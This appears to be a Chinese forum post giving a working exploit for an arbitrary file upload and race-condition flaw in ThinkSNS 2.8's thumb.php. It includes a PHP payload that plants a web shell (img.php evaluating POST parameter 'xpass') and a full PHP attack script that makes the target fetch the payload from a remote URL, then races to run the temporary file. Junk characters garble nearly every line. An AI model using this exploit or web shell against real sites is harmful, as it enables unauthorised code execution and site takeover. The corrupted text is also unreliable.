漏洞版本8 Q. F8 F% j# C# v6 }
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)" x3 l; y1 H4 M. `( h
漏洞文件" h: s. V8 ], Y
存在漏洞的文件为:thumb.php
3 v! |/ Z: W- C, F$ j' n作者:韦鲲鹏1 b/ q0 e6 C" [) P& s* |
1、 准备如下PHP文件并上传到服务器(自己的)。
; {, {# L" {4 L4 v& ^文件内容如下:
" e9 |9 X k9 F/ A/ O0 [% u( ^<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
- o# I/ J9 P( J$ w9 d! z) b2、 计算出临时的文件名:
) |# |+ v( }. D* e! t这里我们可以看文件的99行(刚刚是不是没注意呀!)。
, N& p. j4 n" r/ R% D7 }3 h" |" o3 N
3、 上传临时文件。
& C6 Z8 D0 R8 X0 Z) Q: f4、 访问临时文件。
" p* e5 [0 _) _) J; E- n. ~但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)7 b* B0 k3 t4 j k6 ?' G }: B, R
Exploit文件内容如下:(这个我就不详细解释了)
$ m p: y" F6 w7 Q) x<?php
) m% d) x1 u: v* \error_reporting(0);
6 C7 m+ I: U/ D- uset_time_limit(0);7 D2 S! Z9 K0 r, K5 R( H0 V# y( o
ini_set(“default_socket_timeout”, 5);# P# |/ h7 ?5 p+ f( c
function http_send($host, $port, $headers) {
- f% r5 Z% G: M0 k# W$fp = fsockopen($host, $port);
& r! O- u' S$ D6 uif (!$fp) die(‘Connection -> fail’);
5 |8 \- U! _+ y7 ?4 K1 y/ }fputs($fp, $headers);7 D- r, J( e) B) ?/ u% j
return $fp;
* {1 J4 }9 ], U( P& i" n}
, v2 h- }/ A: t, a6 B4 pfunction http_recv($fp) {
) ~+ a) F$ J/ }) Q, P5 n$ret=”";
, q4 i3 u3 d$ \1 H. d; bwhile (!feof($fp))4 i- u. f5 W5 ~8 {/ l' B
$ret.= fgets($fp, 1024);: y9 B- s$ h5 a1 a
fclose($fp);0 t" W e: c9 C5 Z
return $ret;
h; g" ~2 j6 V5 V- u}' |, v8 H* s7 j O# g9 U
print “\n# ThinkSns Arbitrary File Upload #\n”;8 Y" c9 `3 ?, l4 A( ?0 C- Q
print “# Discovered by 韦鲲鹏 #\n\n”;
' C! u* h Y. t6 K t6 V2 nif ($argc < 4) {* R$ D* C- `7 u) D
print “Usage: php <host> <path> <romote_url>\n”;: l* k; R; y) w, P# o2 G, g# ~# K
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
% C' R- b7 m* M4 Idie();
4 K! {3 j7 y- }! Z}
. U+ U9 {( Q' C. B8 v2 j$host = $argv[1];
( k8 \- R, Y5 G7 { u' X: t$path = $argv[2];
; c4 J+ g/ m/ \5 y# S! q$url = $argv[3];
0 J/ Z8 n n1 A- ] K( b$i=0;
% I' S1 z9 r- O& ?! I2 u, n//上传数据包/ [. \, \) O% U( d( L$ R5 I8 F- E
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”; @5 P# g# T+ {( ?/ o, Q# s3 s6 Y
$headers_up .= “Host: “.$host.”\r\n”;
9 O {3 C8 f* k& g5 w0 f7 g$headers_up .= “Connection: close\r\n\r\n”;
& {/ f+ _% p( F; d, q& Gecho $headers_up;& b/ c3 q5 H4 B7 V5 s8 c9 T7 {
//临时文件访问数据包
?$ t" i: H3 }+ {$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;" W9 s7 f& R' D7 Y! A5 g
$headers .= “Host: “.$host.”\r\n”;
" i0 d C8 f2 }9 ?$ _$headers .= “Connection: close\r\n\r\n”;: h z$ l$ |# T
echo $headers;
7 j4 \4 m! D' b/ I# m0 w: jwhile(++$i<10) {
! L4 F( L# A+ f6 u/ s v6 afclose(http_send($host, 80, $headers));
p5 y! H" v q% n" R4 E5 c% I} D: l+ L( F1 w n+ M( i
fclose(http_send($host, 80, $headers_up));5 ]4 P8 Z$ G; L, z8 u
while(++$i<50) {
4 K6 ?1 v& U1 {fclose(http_send($host, 80, $headers));# i" j9 V$ y3 J
}- B0 R3 m- {% s4 e* d8 ?9 R; i( f
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
7 Z) ?1 |6 b" ~, W% l# k7 l$headers .= “Host: “.$host.”\r\n”;
/ h5 Q h5 y* L! z) e3 \: v$headers .= “Connection: close\r\n\r\n”;9 S r8 F4 H! c! e8 }
$res=http_recv(http_send($host, 80, $headers));( e: ]( j( w0 l& a% J
if(preg_match(‘/200 OK/’,$res)) {. J2 e) i0 z& Z( J3 u( h1 z2 \
print “Success!\n\n”;
% {( p1 t# g0 W5 m% c} else {
. J8 }% k" B9 \9 \7 a ~% P sprint “Fail!\n\n”;
& `7 u+ u! _- z8 x! ?}" V& G# P0 k% y" r
?>) M' l; f; C, Y5 f5 c
|